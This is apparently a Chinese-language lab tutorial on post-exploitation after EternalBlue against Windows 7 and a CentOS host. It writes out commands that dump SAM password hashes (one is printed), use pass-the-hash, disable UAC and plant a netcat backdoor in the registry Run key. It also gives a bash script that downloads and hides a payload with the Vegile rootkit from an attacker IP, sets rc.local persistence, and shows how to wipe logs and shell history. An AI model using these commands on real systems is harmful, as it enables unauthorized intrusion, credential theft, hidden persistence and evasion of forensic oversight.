本次主要新增加了一些后渗透的步骤,先来回顾一下,永恒之蓝的利用过程
首先准备一台win7靶机最好与我们的kali在同一局域网中
打开msf
搜索相关可以利用的模块,选择对应的进行利用
这里只需要配置目标的ip地址
成功拿到shell,我们来一个屏幕共享
下面进行后渗透,首先在win7主机上创建一个新用户来远程连接win7桌面
PDR概述:远程桌面协议,是一个多通道的协议,让用户连上提供微软终端机服务的电脑
将当前的会话存在后台运行
post/windows/manage/enable_rdp 这个模块可以帮我们启动目标主机的rdp服务,并且可以帮助我们自动创建rdp用户,另外还可以帮我们把目标主机的rdp端口映射到本地
下面我们指定sessionID,这里指定的sessionID一定是我们拿到shell的session
创建用户成功,我们在新开一个终端,来利用远程桌面进行连接
这时我们点击是,目标主机的使用用户就会被锁定
下面我们关闭主机防护策略并开启后门
通过ms17-010永恒之蓝获取到的shell可能会出现操作受限的情况,所以我们使用主机的账户信息建立session 进行连接
这个时候可以认为我们把我们创建的用户当作跳板,进而去渗透其他的用户
SAM概述:SAM文件即账号密码数据库文件,SAM文件的位置是C:\Windows\System32\config\SAM
我们来到指定的文件目录进行查看
回到msf控制台,从SAM中导出密码哈希
取出我们自己创建的hack用户的密码哈希
hack:1006:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
创建一条防火墙规则允许4444端口访问网络,否则我饿们建立session时payload不能通过4444端口访问网络倒置建立session失败
UCA概述:用户账户控制(user account control) 是微软公司在其windows vista及更高版本操作系统中采用的一种控制机制,其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意软件损坏系统的效果
下面我们手动关闭UCA
在命令行输入
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windwos\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
开启win7系统主机的默认共享,默认共享对Windows主机的文件共享非常方便,也方便黑客利用这个功能来远程执行命令
在命令行输入下面的命令
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
退出shell返回meterpreter中,我们先将session保存在后台
下面我们利用hash值登录系统,我们先选定指定的模块
我们给当前的模块配置参数
这里局域网中的SMBDomain 都是WORKGROUP 如果是域用户需要配置域名称
这时我们虽然用hack用户进行认证但是哦我们同样获取了SYSTEM权限
下面我们配置一个后门程序,修改UAC的注册表,需要重启才能生效
上传nc到win7中
注册表添加启动项执行nc反弹shell命令
输入下面的命令
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v lltest_nc -d ‘C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe’
防火墙允许443端口访问网络否则开机的时候需要用户点击允许访问网络参可以执行成功
在windows的命令行中输入下面的命令
netsh advfirewall firewall add rule name=“xuegod443” protocol=TCP dir=in localport=443 action=allow
在命令行中输入命令重启目标主机
-r 表示重启
-f 表示强制
-t 表示时间为0的时刻
这个命令就是立即强制重启
需要用户进入系统后我们的后门程序才可以使用,在锁屏的界面我们后门程序还没有运行
下面新建一个终端使用nc连接后门
下面是msf控制台的连接方法
到这里我们就成功的完成了后渗透的所有步骤,具体实战中应该随机应变
从上面的后渗透的各种操作当中可以看得出来对于windows的用户进行渗透,我们也要掌握windows命令行的各种命令,否则我们拿到shell以后没办法维持稳定的shell连接
可能这就是windwos的漏洞的强大之处吧,无视任何杀软,只要系统版本对的上都ok
首先生成一个恶意文件让目标系统执行来获取shell
下面我们上传vegile(维吉尔)工具到网站目录下方便centos下载
vegile是用于linux系统渗透测试中的权限维持,vegile这个工具会设置一个后门/rootkit 这个后门会直接隐藏进程,无限连接matasploit,持续维持你的meterpreter会话,即使木马进程被杀死,它依然会再次重新运行,换句话说该进程是无限循环的
Vegile 官方下载链接:https://github.com/Screetsec/Vegile.git
vegile常用的方法:
vegile --i 隐藏你的后门
vegile --u 无限复制你的metasploit会话,即使它呗kill,依然可以再次运行
注意事项:
木马一定要放在vegile目录下
vegile一般用于维持meterpreter会话
下面我们先利用第一个木马来获取目标主机的shell
来到msf指定的模块配置参数,在后台运行
下面我们来到centos靶机,下载制作好的木马,然后添加执行权限并且执行
回到kali发现已经成功
下面我们利用sessionid连接一下centos
可以看到我们的pid是22046
查看一下ip地址
这个session我们先保持连接,后期需要使用到
下面来创建无文件后门程序
新开一个msf控制台,配置一下参数
我们回到前面的session中,在目标主机上面下载用于隐藏进程的工具
添加执行权限
下载用于隐藏执行的后门程序
回到我们另一个msf控制台查看,已经成功拿到shell
下面查看一下我们注入到了哪个进程,目标端口号为50110
为了隐藏我们的踪迹,下面删除我们下载的所有文件,删除的同时也会把hack-ghost文件删除,删除我们的所有文件之后,会话依然存在
我们来自己写一个脚本,也就是把之前的命令都自动执行了,不用一步一步去执行了
图片中的Vegile后面的参数应该是 --i
echo -y | :这句代码的作用在于Vegile 执行后会有一个按任意键退出,我们输入给它一个y
最后重定向到/dev/null
这里的2>&1的意思为将标准错误重定向到标准输出,有可能我们会遇到执行错误,所以这里不论是标准输出还是标准错误都会输出到/dev/null里
/dev/null可以看作是一个黑洞,它等价于一个只写文件,所有写入它内部的内容都会永远消失,而尝试从他那里读取内容则什么也读取不到
#!/bin/bash
cd /tmp/
wget 192.168.91.132/Vegile-master.zip && unzip Vegile-master.zip && cd Vegile-master && chmod +x Vegile && wget 192.168.91.132/hack-ghost && chmod +x hack-ghost && echo y | ./Vegile --i hack-ghost >> /dev/null 2>&1
rm -rf /tmp/Vegile-master.zip /tmp/Vegile-master
回到msf控制台,开启监控
我们在利用第一个木马来获取权限,然后在msf执行我们的脚本
首先我们把脚本下载到目标主机,然后执行
我们来到root目录查看一下文件
可以看到目录下的文件已经被删除
下面我们配置一下开机自启动,这样只要目标主机开机,我们就能拿到shell,目录/etc/rc.d/rc.local
部分操作系统需要手动给rc.local添加执行权限
我们删除之前的会话,重新开启监听,然后现在重启centos
还没登录就已经拿到shell了
如果仅仅是本地清理,如果目标服务存在日志服务器的情况下,所有的日志还是会被保留。这里仅清理系统相关日志,如果访问了某些服务,比如通过apache服务获取到一个shell,还需要清理apache服务的访问日志
windows日志清理
win+r运行:eventvwr
正常的远程访问在windows的时间查看器中可以看到相关记录
我们先来到win7查看一下日志文件
下面我们再来linux日志清理
linux可能根据发行版本不同,日志文件名称也有所不同,所以具体清除要根据目标操作系统
清楚历史命令history -c
使系统不在保存历史命令
vi /etc/profile 找到HISTSIZE这个值,修改为0